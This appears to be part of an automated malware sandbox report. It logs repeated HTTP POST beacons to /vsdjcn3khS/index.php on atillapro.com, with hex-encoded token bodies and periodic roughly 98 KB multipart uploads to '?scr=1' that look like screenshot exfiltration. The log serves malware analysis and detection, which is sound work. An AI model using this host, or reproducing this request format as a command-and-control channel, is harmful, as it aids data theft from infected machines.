Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTgxOTc=Host: atillapro.comContent-Length: 98349Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTgyNDE=Host: atillapro.comContent-Length: 98393Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
